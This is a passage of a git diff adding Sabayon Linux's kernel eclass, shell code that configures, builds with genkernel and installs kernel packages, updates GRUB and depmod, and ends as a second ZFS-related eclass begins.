+# @DESCRIPTION:
+# Some kernel sources are shipped with their own EXTRAVERSION and
+# we're kindly asked to not touch it, if this is your case, set
+# this variable and depmod will work correctly.
+K_WORKAROUND_USE_REAL_EXTRAVERSION="${K_WORKAROUND_USE_REAL_EXTRAVERSION:-}"
+
+# @ECLASS-VARIABLE: K_SABKERNEL_ZFS
+# @DESCRIPTION:
+# If set, this kernel features ZFS.
+K_SABKERNEL_ZFS="${K_SABKERNEL_ZFS:-}"
+
+# @ECLASS-VARIABLE: K_GENKERNEL_ARGS
+# @DESCRIPTION:
+# Provide extra genkernel arguments using K_GENKERNEL_ARGS
+K_GENKERNEL_ARGS="${K_GENKERNEL_ARGS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk load address to be used with mkimage
+K_MKIMAGE_RAMDISK_ADDRESS="${K_MKIMAGE_RAMDISK_ADDRESS:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_RAMDISK_ENTRYPOINT
+# @DESCRIPTION:
+# [ARM ONLY] Provide the ramdisk entry point address to be used with mkimage
+K_MKIMAGE_RAMDISK_ENTRYPOINT="${K_MKIMAGE_RAMDISK_ENTRYPOINT:-}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_WRAP_INITRAMFS
+# @DESCRIPTION:
+# [ARM ONLY] Execute mkimage against the generated initramfs Default is yes ("1").
+K_MKIMAGE_WRAP_INITRAMFS="${K_MKIMAGE_WRAP_INITRAMFS:-1}"
+
+# @ECLASS-VARIABLE: K_MKIMAGE_KERNEL_ADDRESS
+# @DESCRIPTION:
+# [ARM ONLY] Provide the kernel load address to be used with mkimage
+K_MKIMAGE_KERNEL_ADDRESS="${K_MKIMAGE_KERNEL_ADDRESS:-}"
+
+KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*${K_SABKERNEL_NAME}}"
+
+# Disable deblobbing feature
+K_DEBLOB_AVAILABLE=0
+ETYPE="sources"
+K_TARBALL_EXT="${K_TARBALL_EXT:-xz}"
+
+inherit versionator
+if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+	CKV="$(get_version_component_range 1-2)"
+fi
+
+inherit eutils multilib kernel-2 sabayon-artwork mount-boot linux-info
+
+# from kernel-2 eclass
+detect_version
+detect_arch
+
+DESCRIPTION="Sabayon Linux kernel functions and phases"
+
+
+K_LONGTERM_URL_STR=""
+if [ -n "${K_SABKERNEL_LONGTERM}" ]; then
+	K_LONGTERM_URL_STR="/longterm/v${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+fi
+
+## kernel-2 eclass settings
+if [ "${K_SABKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then
+	_patch_name="$(get_version_component_range 1-2)-${K_SABKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz"
+	SRC_URI="${KERNEL_URI}
+		mirror://sabayon/${CATEGORY}/${_patch_name}
+	"
+	UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}"
+	unset _patch_name
+elif [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then
+	SRC_URI="mirror://sabayon/${CATEGORY}/linux-${PVR}+${K_SABKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
+else
+	SRC_URI="${KERNEL_URI}"
+fi
+
+if [ -z "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then
+	if [ -n "${K_KERNEL_PATCH_VER}" ]; then
+		K_PATCH_NAME="patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.${K_KERNEL_PATCH_VER}.${K_TARBALL_EXT}"
+		SRC_URI="${SRC_URI}
+			mirror://kernel/linux/kernel/v${KV_MAJOR}.${KV_MINOR}${K_LONGTERM_URL_STR}/${K_PATCH_NAME}"
+		UNIPATCH_LIST="${DISTDIR}/${K_PATCH_NAME}
+			${UNIPATCH_LIST}"
+	fi
+fi
+if [ -n "${K_KERNEL_PATCH_HOTFIXES}" ]; then
+	UNIPATCH_LIST="${UNIPATCH_LIST} ${K_KERNEL_PATCH_HOTFIXES}"
+fi
+
+_get_real_kv_full() {
+	if [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+		echo "${ORIGINAL_KV_FULL}"
+	elif [[ "${OKV/.*}" = "3" ]]; then
+		# Linux 3.x support, KV_FULL is set to: 3.0-sabayon
+		# need to add another final .0 to the version part
+		echo "${ORIGINAL_KV_FULL/-/.0-}"
+	else
+		echo "${ORIGINAL_KV_FULL}"
+	fi
+}
+
+# replace "linux" with K_SABKERNEL_NAME, usually replaces
+# "linux" with "sabayon" or "server" or "openvz"
+KV_FULL="${KV_FULL/${PN/-*}/${K_SABKERNEL_NAME}}"
+EXTRAVERSION="${EXTRAVERSION/${PN/-*}/${K_SABKERNEL_NAME}}"
+# drop -rX if exists
+if [[ -n "${PR//r0}" ]] && [[ "${K_KERNEL_DISABLE_PR_EXTRAVERSION}" = "1" ]] \
+		&& [[ -z "${K_NOSETEXTRAVERSION}" ]]; then
+	EXTRAVERSION="${EXTRAVERSION%-r*}"
+	KV_FULL="${KV_FULL%-r*}"
+	KV="${KV%-r*}"
+fi
+# rewrite it
+ORIGINAL_KV_FULL="${KV_FULL}"
+KV_FULL="$(_get_real_kv_full)"
+
+# Starting from linux-3.0, we still have to install
+# sources stuff into /usr/src/linux-3.0.0-sabayon (example)
+# where the last part must always match uname -r
+# otherwise kernel-switcher (and RELEASE_LEVEL file)
+# will complain badly
+KV_OUT_DIR="/usr/src/linux-${KV_FULL}"
+S="${WORKDIR}/linux-${KV_FULL}"
+
+
+if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+	SLOT="0"
+elif [ "${K_KERNEL_SLOT_USEPVR}" = "1" ]; then
+	SLOT="${PVR}"
+elif [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+	SLOT="$(get_version_component_range 1-2)"
+else
+	SLOT="${PV}"
+fi
+
+_is_kernel_binary() {
+	if [ -z "${K_ONLY_SOURCES}" ] && [ -z "${K_FIRMWARE_PACKAGE}" ]; then
+		# yes it is
+		return 0
+	else
+		# no it isn't
+		return 1
+	fi
+}
+
+_is_kernel_lts() {
+	local _ver="$(get_version_component_range 1-2)"
+	[ "${_ver}" = "3.0" ] && return 0
+	[ "${_ver}" = "3.2" ] && return 0
+	[ "${_ver}" = "3.4" ] && return 0
+	[ "${_ver}" = "3.10" ] && return 0
+	return 1
+}
+
+# provide extra virtual pkg
+if _is_kernel_binary; then
+	PROVIDE="virtual/linux-binary"
+# LTS support
+	if [ "${K_KERNEL_LTS}" = "1" ] || _is_kernel_lts; then
+		PROVIDE+=" virtual/linux-binary-lts"
+	fi
+fi
+
+if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then
+	HOMEPAGE="https://github.com/Sabayon/kernel"
+else
+	HOMEPAGE="http://www.sabayon.org"
+fi
+
+# Returns success if _set_config_file_vars was called.
+_is_config_file_set() {
+	[[ ${_config_file_set} = 1 ]]
+}
+
+# Returns the arm kernel config file extension for the current subarch
+_get_arm_subarch() {
+	local target="${CTARGET:-${CHOST}}"
+	local arm_arch=${target%%-*}
+	if [[ ${arm_arch} == armv7? ]]; then
+		echo "armv7"
+	elif [[ ${arm_arch} == armv6? ]]; then
+		echo "armv6"
+	elif [[ ${arm_arch} == armv5? ]]; then
+		echo "armv5"
+	fi
+}
+
+_get_arch() {
+	if use arm; then
+		_get_arm_subarch
+	elif use amd64; then
+		echo "amd64"
+	elif use x86; then
+		echo "x86"
+	fi
+}
+
+_set_config_file_vars() {
+	# Setup kernel configuration file name
+	local pvr="${PVR}"
+	local pv="${PV}"
+	if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+		pvr="$(get_version_component_range 1-2)"
+		pv="${pvr}"
+		if [ "${PR}" != "r0" ]; then
+			pvr+="-${PR}"
+		fi
+	fi
+
+	K_SABKERNEL_CONFIG_FILES=()
+	K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-${pvr}-$(_get_arch).config" )
+	K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-${pv}-$(_get_arch).config" )
+	K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-$(_get_arch).config" )
+
+	_config_file_set=1
+}
+
+if [ -n "${K_ONLY_SOURCES}" ] || [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+	IUSE="${IUSE}"
+	DEPEND="sys-apps/sed"
+	RDEPEND="${RDEPEND}"
+else
+	IUSE="dmraid dracut iscsi luks lvm mdadm plymouth splash"
+	if [ -n "${K_SABKERNEL_ZFS}" ]; then
+		IUSE="${IUSE} zfs"
+	fi
+	DEPEND="app-arch/xz-utils
+		sys-apps/sed
+		sys-devel/autoconf
+		sys-devel/make
+		|| ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-3.4.45-r2 )
+		arm? ( dev-embedded/u-boot-tools )
+		amd64? ( sys-apps/v86d )
+		x86? ( sys-apps/v86d )
+		splash? ( x11-themes/sabayon-artwork-core )
+		lvm? ( sys-fs/lvm2 sys-block/thin-provisioning-tools )
+		plymouth? (
+			|| ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-5 )
+			sys-boot/plymouth
+		)
+		dracut? ( sys-apps/v86d sys-kernel/dracut )"
+	RDEPEND="sys-apps/sed
+		sys-kernel/linux-firmware"
+	if [ -n "${K_REQUIRED_LINUX_FIRMWARE_VER}" ]; then
+		RDEPEND+=" >=sys-kernel/linux-firmware-${K_REQUIRED_LINUX_FIRMWARE_VER}"
+	fi
+fi
+
+# internal function
+#
+# FUNCTION: _update_depmod
+# @USAGE: _update_depmod <-r depmod>
+# DESCRIPTION:
+# It updates the modules.dep file for the current kernel.
+# This is more or less the same of linux-mod update_depmod, with the
+# exception of accepting parameter which is passed to depmod -r switch
+_update_depmod() {
+
+        # if we haven't determined the version yet, we need too.
+        get_version;
+
+	ebegin "Updating module dependencies for ${KV_FULL}"
+	if [ -r "${KV_OUT_DIR}"/System.map ]; then
+		depmod -ae -F "${KV_OUT_DIR}"/System.map -b "${ROOT}" -r "${1}"
+		eend $?
+	else
+		ewarn
+		ewarn "${KV_OUT_DIR}/System.map not found."
+		ewarn "You must manually update the kernel module dependencies using depmod."
+		eend 1
+		ewarn
+	fi
+}
+
+sabayon-kernel_pkg_setup() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		einfo "Preparing kernel firmwares"
+	else
+		einfo "Preparing kernel and its modules"
+	fi
+}
+
+sabayon-kernel_src_unpack() {
+	local okv="${OKV}"
+	if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ] && [ "${K_SABKERNEL_PATCH_UPSTREAM_TARBALL}" != "1" ]; then
+		OKV="${PVR}+${K_SABKERNEL_SELF_TARBALL_NAME}"
+	fi
+	if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+		# workaround for kernel-2's universal_unpack assumptions
+		UNIPATCH_LIST_DEFAULT= KV_MAJOR=0 kernel-2_src_unpack
+	else
+		kernel-2_src_unpack
+	fi
+	if [ -n "${K_SABKERNEL_FORCE_SUBLEVEL}" ]; then
+		# patch out Makefile with proper sublevel
+		sed -i "s:^SUBLEVEL = .*:SUBLEVEL = ${K_SABKERNEL_FORCE_SUBLEVEL}:" \
+			"${S}/Makefile" || die
+	fi
+	if [ -n "${K_SABKERNEL_RESET_EXTRAVERSION}" ]; then
+		sed -i "s:^EXTRAVERSION =.*:EXTRAVERSION = :" "${S}/Makefile" || die
+		# some sources could have multiple append-based EXTRAVERSIONs
+		sed -i "s/^EXTRAVERSION :=.*//" "${S}/Makefile" || die
+	fi
+	OKV="${okv}"
+
+	# Let's handle EAPIs 0 and 1...
+	case ${EAPI:-0} in
+		0|1) sabayon-kernel_src_prepare ;;
+	esac
+}
+
+sabayon-kernel_src_prepare() {
+	_set_config_file_vars
+}
+
+sabayon-kernel_src_compile() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		_firmwares_src_compile
+	elif [ -n "${K_ONLY_SOURCES}" ]; then
+		kernel-2_src_compile
+	else
+		_kernel_src_compile
+	fi
+}
+
+_firmwares_src_compile() {
+	einfo "Starting to compile firmwares..."
+	_kernel_copy_config "${S}/.config"
+	cd "${S}" || die "cannot find source dir"
+
+	export LDFLAGS=""
+	OLDARCH="${ARCH}"
+	unset ARCH
+	emake firmware || die "cannot compile firmwares"
+	ARCH="${OLDARCH}"
+}
+
+_kernel_copy_config() {
+	_is_config_file_set \
+		|| die "Kernel configuration file not set. Was sabayon-kernel_src_prepare() called?"
+
+	local base_path="${DISTDIR}"
+	if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then
+		base_path="${S}/sabayon/config"
+	fi
+
+	local found= cfg=
+	for cfg in "${K_SABKERNEL_CONFIG_FILES[@]}"; do
+		cfg="${base_path}/${cfg}"
+		if [ -f "${cfg}" ]; then
+			cp "${cfg}" "${1}" || die "cannot copy kernel config ${cfg} -> ${1}"
+			elog "Using kernel config: ${cfg}"
+			found=1
+			break
+		fi
+	done
+	[[ -z "${found}" ]] && die "cannot find kernel configs among: ${K_SABKERNEL_CONFIG_FILES[*]}"
+}
+
+_kernel_src_compile() {
+	# disable sandbox
+	export SANDBOX_ON=0
+
+	# needed anyway, even if grub use flag is not used here
+	if use amd64 || use x86; then
+		mkdir -p "${WORKDIR}"/boot/grub
+	else
+		mkdir -p "${WORKDIR}"/boot
+	fi
+
+	einfo "Starting to compile kernel..."
+	_kernel_copy_config "${WORKDIR}"/config
+
+	# do some cleanup
+	rm -rf "${WORKDIR}"/lib
+	rm -rf "${WORKDIR}"/cache
+	rm -rf "${S}"/temp
+
+	# creating workdirs
+	# some kernels fail with make 3.82 if firmware dir is not created
+	mkdir "${WORKDIR}"/lib/lib/firmware -p
+	mkdir "${WORKDIR}"/cache
+	mkdir "${S}"/temp
+
+	cd "${S}" || die
+	local GKARGS=()
+	GKARGS+=( "--no-save-config" "--e2fsprogs" "--udev" )
+	use splash && GKARGS+=( "--splash=sabayon" )
+	use plymouth && GKARGS+=( "--plymouth" "--plymouth-theme=${PLYMOUTH_THEME}" )
+	use dmraid && GKARGS+=( "--dmraid" )
+	use iscsi && GKARGS+=( "--iscsi" )
+	use mdadm && GKARGS+=( "--mdadm" )
+	use luks && GKARGS+=( "--luks" )
+	use lvm && GKARGS+=( "--lvm" )
+	if [ -n "${K_SABKERNEL_ZFS}" ]; then
+		use zfs && GKARGS+=( "--zfs" )
+	fi
+
+	export DEFAULT_KERNEL_SOURCE="${S}"
+	export CMD_KERNEL_DIR="${S}"
+	for opt in ${MAKEOPTS}; do
+		if [ "${opt:0:2}" = "-j" ]; then
+			mkopts="${opt}"
+			break
+		fi
+	done
+	[ -z "${mkopts}" ] && mkopts="-j3"
+
+	if [ -n "${K_KERNEL_IMAGE_NAME}" ]; then
+		GKARGS+=( "--kernel-target=${K_KERNEL_IMAGE_NAME}" )
+	elif use arm; then
+		# backward compat + provide sane defaults.
+		GKARGS+=( "--kernel-target=uImage" )
+	fi
+	if [ -n "${K_KERNEL_IMAGE_PATH}" ]; then
+		GKARGS+=( "--kernel-binary=${K_KERNEL_IMAGE_PATH}" )
+	elif use arm; then
+		# backward compat + provide sane defaults.
+		GKARGS+=( "--kernel-binary=arch/arm/boot/uImage" )
+	fi
+
+	# Workaround bug in splash_geninitramfs corrupting the initramfs
+	# if xz compression is used (newer genkernel >3.4.24)
+	local support_comp=$(genkernel --help | grep compress-initramfs-type)
+	if [ -n "${support_comp}" ]; then
+		GKARGS+=( "--compress-initramfs-type=gzip" )
+	fi
+
+	# Use --disklabel if genkernel supports it
+	local support_disklabel=$(genkernel --help | grep -- --disklabel)
+	if [ -n "${support_disklabel}" ]; then
+		GKARGS+=( "--disklabel" )
+	fi
+
+	if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+		export LOADADDR="${K_MKIMAGE_KERNEL_ADDRESS}"
+	fi
+	OLDARCH="${ARCH}"
+	unset ARCH
+	unset LDFLAGS
+	DEFAULT_KERNEL_SOURCE="${S}" CMD_KERNEL_DIR="${S}" genkernel "${GKARGS[@]}" ${K_GENKERNEL_ARGS} \
+		--kerneldir="${S}" \
+		--kernel-config="${WORKDIR}"/config \
+		--cachedir="${WORKDIR}"/cache \
+		--makeopts="${mkopts}" \
+		--tempdir="${S}"/temp \
+		--logfile="${WORKDIR}"/genkernel.log \
+		--bootdir="${WORKDIR}"/boot \
+		--mountboot \
+		--module-prefix="${WORKDIR}"/lib \
+		all || die "genkernel failed"
+
+	if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+		unset LOADADDR
+	fi
+
+	ARCH=${OLDARCH}
+}
+
+_setup_mkimage_ramdisk() {
+	local initramfs=$(ls "${WORKDIR}"/boot/${KERN_INITRAMFS_SEARCH_NAME}* 2> /dev/null)
+	if [ ! -e "${initramfs}" ] || [ ! -f "${initramfs}" ]; then
+		ewarn "No initramfs at ${initramfs}, cannot run mkimage on it!"
+	elif [ "${K_MKIMAGE_WRAP_INITRAMFS}" = "1" ]; then
+		einfo "Setting up u-boot initramfs for: ${initramfs}"
+		mkimage -A arm -O linux -T ramdisk -C none -a \
+			"${K_MKIMAGE_RAMDISK_ADDRESS}" \
+			-e "${K_MKIMAGE_RAMDISK_ENTRYPOINT}" -d "${initramfs}" \
+			"${initramfs}.u-boot" || return 1
+		mv "${initramfs}.u-boot" "${initramfs}" || return 1
+	else
+		einfo "mkimage won't be called for: ${initramfs}"
+	fi
+	return 0
+}
+
+sabayon-kernel_src_install() {
+	if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+		_firmwares_src_install
+	elif [ -n "${K_ONLY_SOURCES}" ]; then
+		_kernel_sources_src_install
+	else
+		_kernel_src_install
+	fi
+	# File collisions between slots, debug stuff
+	# not really needed for a kernel
+	rm -rf "${D}/usr/lib/debug"
+}
+
+_firmwares_src_install() {
+	dodir /lib/firmware
+	keepdir /lib/firmware
+	cd "${S}" || die
+	emake INSTALL_FW_PATH="${D}/lib/firmware" firmware_install || die "cannot install firmwares"
+}
+
+_kernel_sources_src_install() {
+	_kernel_copy_config ".config"
+	kernel-2_src_install
+	cd "${D}${KV_OUT_DIR}" || die
+	local oldarch="${ARCH}"
+	unset ARCH
+	if ! use sources_standalone; then
+		make modules_prepare || die "failed to run modules_prepare"
+		rm .config || die "cannot remove .config"
+		rm Makefile || die "cannot remove Makefile"
+		rm -f include/linux/version.h
+		rm -f include/generated/uapi/linux/version.h
+	fi
+	ARCH="${oldarch}"
+}
+
+_kernel_src_install() {
+	if use arm; then
+		_setup_mkimage_ramdisk || die "cannot setup mkimage"
+	fi
+
+	dodir "${KV_OUT_DIR}"
+	insinto "${KV_OUT_DIR}"
+
+	_kernel_copy_config ".config"
+	doins ".config" || die "cannot copy kernel config"
+	doins Makefile || die "cannot copy Makefile"
+	doins Module.symvers || die "cannot copy Module.symvers"
+	doins System.map || die "cannot copy System.map"
+
+	# NOTE: this is a workaround caused by linux-info.eclass not
+	# being ported to EAPI=2 yet
+	local version_h_dir="include/linux"
+	local version_h_dir2="include/generated/uapi/linux"
+	local version_h=
+	local version_h_src=
+	for ver_dir in "${version_h_dir}" "${version_h_dir2}"; do
+		version_h="${ROOT}${KV_OUT_DIR/\//}/${ver_dir}/version.h"
+		if [ -f "${version_h}" ]; then
+			einfo "Discarding previously installed version.h to avoid collisions"
+			addwrite "${version_h}"
+			rm -f "${version_h}"
+		fi
+
+		# Include include/linux/version.h to make Portage happy
+		version_h_src="${S}/${ver_dir}/version.h"
+		if [ -f "${version_h_src}" ]; then
+			dodir "${KV_OUT_DIR}/${ver_dir}"
+			insinto "${KV_OUT_DIR}/${ver_dir}"
+			doins "${version_h_src}" || die "cannot copy version.h"
+		fi
+	done
+
+	insinto "/boot"
+	doins "${WORKDIR}"/boot/* || die "cannot copy /boot over"
+	cp -Rp "${WORKDIR}"/lib/* "${D}/" || die "cannot copy /lib over"
+
+	# Install dtbs if found
+	if use arm; then
+		local dtb_dir="/lib/dts/${KV_FULL}"
+		elog "Installing .dtbs (if any) into ${dtb_dir}"
+		insinto "${dtb_dir}"
+		local dtb=
+		for dtb in "${S}/arch/arm/boot/dts"/*.dtb; do
+			if [ -f "${dtb}" ]; then
+				elog "Installing dtb: ${dtb}"
+				doins "${dtb}"
+			fi
+		done
+	fi
+
+	# This doesn't always work because KV_FULL (when K_NOSETEXTRAVERSION=1) doesn't
+	# reflect the real value used in Makefile
+	#dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/source" || die "cannot install source symlink"
+	#dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/build" || die "cannot install build symlink"
+	cd "${D}"/lib/modules/* || die "cannot enter /lib/modules directory, more than one element?"
+	# cleanup previous
+	rm -f build source || die
+	# create sane symlinks
+	ln -sf "../../..${KV_OUT_DIR}" source || die "cannot create source symlink"
+	ln -sf "../../..${KV_OUT_DIR}" build || die "cannot create build symlink"
+	cd "${S}" || die
+
+	# drop ${D}/lib/firmware, virtual/linux-firmwares provides it
+	rm -rf "${D}/lib/firmware"
+
+	if [ -n "${K_WORKAROUND_SOURCES_COLLISION}" ]; then
+		# Fixing up Makefile collision if already installed by
+		# openvz-sources
+		einfo "Workarounding source package collisions"
+		make_file="${KV_OUT_DIR/\//}/Makefile"
+		einfo "Makefile: ${make_file}"
+		if [ -f "${ROOT}/${make_file}" ]; then
+			elog "Removing ${D}/${make_file}"
+			rm -f "${D}/${make_file}"
+		fi
+	fi
+
+	# Install kernel configuration information
+	# useful for Entropy kernel-switcher
+	# release level is enough for now
+	base_dir="/etc/kernels/${P}"
+	dodir "${base_dir}"
+	insinto "${base_dir}"
+	echo "${KV_FULL}" > "RELEASE_LEVEL"
+	doins "RELEASE_LEVEL"
+	einfo "Installing ${base_dir}/RELEASE_LEVEL file: ${KV_FULL}"
+
+	use dracut && \
+		_dracut_initramfs_create "${KV_FULL}"
+}
+
+sabayon-kernel_pkg_preinst() {
+	if _is_kernel_binary; then
+		mount-boot_pkg_preinst
+	fi
+}
+sabayon-kernel_grub2_mkconfig() {
+	if [ -x "${ROOT}usr/sbin/grub2-mkconfig" ]; then
+		# Grub 2.00
+		"${ROOT}usr/sbin/grub2-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+	elif [ -x "${ROOT}sbin/grub-mkconfig" ]; then
+		# Grub 1.99
+		"${ROOT}sbin/grub-mkdevicemap" --device-map="${ROOT}boot/grub/device.map"
+		"${ROOT}sbin/grub-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+	else
+		echo
+		ewarn "Attention, Grub2 is not installed !!!"
+		ewarn "Grub2 bootloader configuration won't be updated"
+		echo
+	fi
+}
+
+_get_real_extraversion() {
+	make_file="${ROOT}${KV_OUT_DIR}/Makefile"
+	local extraver=$(grep -r "^EXTRAVERSION =" "${make_file}" | cut -d "=" -f 2 | head -n 1)
+	local trimmed=${extraver%% }
+	echo ${trimmed## }
+}
+
+_get_release_level() {
+	if [[ -n "${K_WORKAROUND_USE_REAL_EXTRAVERSION}" ]]; then
+		echo "${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}$(_get_real_extraversion)"
+	elif [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+		echo "${KV_FULL}"
+	elif [[ "${OKV/.*}" = "3" ]] && [[ "${KV_PATCH}" = "0" ]]; then
+		# Linux 3.x support, KV_FULL is set to: 3.0-sabayon
+		# need to add another final .0 to the version part
+		echo "${KV_FULL/-/.0-}"
+	else
+		echo "${KV_FULL}"
+	fi
+}
+
+sabayon-kernel_uimage_config() {
+	# Two cases here:
+	# 1. /boot/uImage symlink is broken (pkg_postrm)
+	# 2. /boot/uImage symlink doesn't exist (pkg_postinst)
+
+	if ! has_version app-admin/eselect-uimage; then
+		ewarn "app-admin/eselect-uimage not installed"
+		ewarn "If you are using this tool, please install it"
+		return 0
+	fi
+
+	local uimage_file=$(eselect uimage show --quiet 2> /dev/null)
+	if [ -z "${uimage_file}" ]; then
+		# pick the first listed, sorry!
+		local eselect_list=$(eselect uimage list --quiet 2> /dev/null)
+		if [ -n "${eselect_list}" ]; then
+			eselect uimage set 1
+		else
+			echo
+			ewarn "No more kernels available, you won't be able to boot"
+			echo
+		fi
+	else
+		echo
+		elog "If you use eselect-bzimage, you are currently booting with kernel:"
+		elog "${uimage_file}"
+		elog
+		elog "Use 'eselect uimage' in order to switch between the available ones"
+		echo
+	fi
+}
+
+sabayon-kernel_bzimage_config() {
+	# Two cases here:
+	# 1. /boot/bzImage symlink is broken (pkg_postrm)
+	# 2. /boot/bzImage symlink doesn't exist (pkg_postinst)
+	local kern_arch
+	use x86 && kern_arch="x86"
+	use amd64 && kern_arch="x86_64"
+
+	if ! has_version app-admin/eselect-bzimage; then
+		ewarn "app-admin/eselect-bzimage not installed"
+		ewarn "If you are using this tool, please install it"
+		return 0
+	fi
+
+	local bzimage_file=$(eselect bzimage show --quiet 2> /dev/null)
+	if [ -z "${bzimage_file}" ]; then
+		# try to pic what's being installed
+		local eselect_list=$(eselect bzimage list --quiet 2> /dev/null)
+		if [ -n "${eselect_list}" ]; then
+			eselect bzimage set "kernel-genkernel-${kern_arch}-${KV_FULL}"
+			if [ "${?}" != "0" ]; then
+				# pick the first available, sorry!
+				echo
+				eselect bzimage set 1
+				ewarn "Unable to select the right kernel, falling back"
+				ewarn "to the first available entry. You have been warned"
+				echo
+			fi
+		else
+			echo
+			ewarn "No more kernels available, you might not be able to boot"
+			echo
+		fi
+	else
+		echo
+		ewarn "You are currently booting with kernel:"
+		ewarn "${bzimage_file}"
+		ewarn
+		ewarn "Use 'eselect bzimage' in order to switch between the available ones"
+		echo
+	fi
+}
+
+_dracut_initramfs_create() {
+	local kver="${1}"
+
+	elog "Creating dracut initramfs for ${kver}"
+	addpredict /etc/ld.so.cache~
+	dracut -q -N -f --kver="${kver}" "${D}/boot/initramfs-dracut-${kver}"
+}
+
+sabayon-kernel_pkg_postinst() {
+	if _is_kernel_binary; then
+		fstab_file="${ROOT}etc/fstab"
+		einfo "Removing extents option for ext4 drives from ${fstab_file}"
+		# Remove "extents" from /etc/fstab
+		if [ -f "${fstab_file}" ]; then
+			sed -i '/ext4/ s/extents//g' "${fstab_file}"
+		fi
+
+		# Update kernel initramfs to match user customizations
+		update_sabayon_kernel_initramfs_splash
+
+		# Add kernel to grub.conf
+		if use amd64 || use x86; then
+			if use amd64; then
+				local kern_arch="x86_64"
+			else
+				local kern_arch="x86"
+			fi
+			# grub-legacy
+			if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+				"${ROOT}usr/sbin/grub-handler" add \
+					"/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+					"/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+			fi
+
+			sabayon-kernel_grub2_mkconfig
+		fi
+
+		# Setup newly installed kernel on ARM
+		if use arm; then
+			sabayon-kernel_uimage_config
+		fi
+		# Setup newly installed kernel on x86/amd64
+		# This is quite handy for static grub1/grub2
+		# configurations (like on Amazon EC2)
+		if use x86 || use amd64; then
+			sabayon-kernel_bzimage_config
+		fi
+
+		kernel-2_pkg_postinst
+		local depmod_r=$(_get_release_level)
+		_update_depmod "${depmod_r}"
+
+		elog "Please report kernel bugs at:"
+		elog "http://bugs.sabayon.org"
+
+		elog "The source code of this kernel is located at"
+		elog "=${K_KERNEL_SOURCES_PKG}."
+		elog "Sabayon Linux recommends that portage users install"
+		elog "${K_KERNEL_SOURCES_PKG} if you want"
+		elog "to build any packages that install kernel modules"
+		elog "(such as ati-drivers, nvidia-drivers, virtualbox, etc...)."
+	else
+		kernel-2_pkg_postinst
+	fi
+}
+
+sabayon-kernel_pkg_prerm() {
+	if _is_kernel_binary; then
+		mount-boot_pkg_prerm
+	fi
+}
+
+sabayon-kernel_pkg_postrm() {
+	if _is_kernel_binary; then
+		# Remove kernel from grub.conf
+		if use amd64 || use x86; then
+			if use amd64; then
+				local kern_arch="x86_64"
+			else
+				local kern_arch="x86"
+			fi
+			if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+				"${ROOT}usr/sbin/grub-handler" remove \
+					"/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+					"/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+			fi
+
+			sabayon-kernel_grub2_mkconfig
+		fi
+
+		# Setup newly installed kernel on ARM
+		if use arm; then
+			sabayon-kernel_uimage_config
+		fi
+		# Setup newly installed kernel on x86/amd64
+		# This is quite handy for static grub1/grub2
+		# configurations (like on Amazon EC2)
+		if use x86 || use amd64; then
+			sabayon-kernel_bzimage_config
+		fi
+	fi
+}
+
+# export all the available functions here
+case ${EAPI:-0} in
+	0|1) extra_export_funcs= ;;
+	*) extra_export_funcs=src_prepare ;;
+esac
+
+EXPORT_FUNCTIONS pkg_setup src_unpack ${extra_export_funcs} \
+	src_compile src_install pkg_preinst pkg_postinst pkg_prerm pkg_postrm
diff --git a/eclass/spl-zfs-kernel.eclass b/eclass/spl-zfs-kernel.eclass
new file mode 100644
index 00000000..74fb8589
--- /dev/null
+++ b/eclass/spl-zfs-kernel.eclass
@@ -0,0 +1,183 @@
+# Copyright 2004-2012 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+# $
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit eutils flag-o-matic git-2 linux-mod autotools-utils
+
+# export all the available functions here
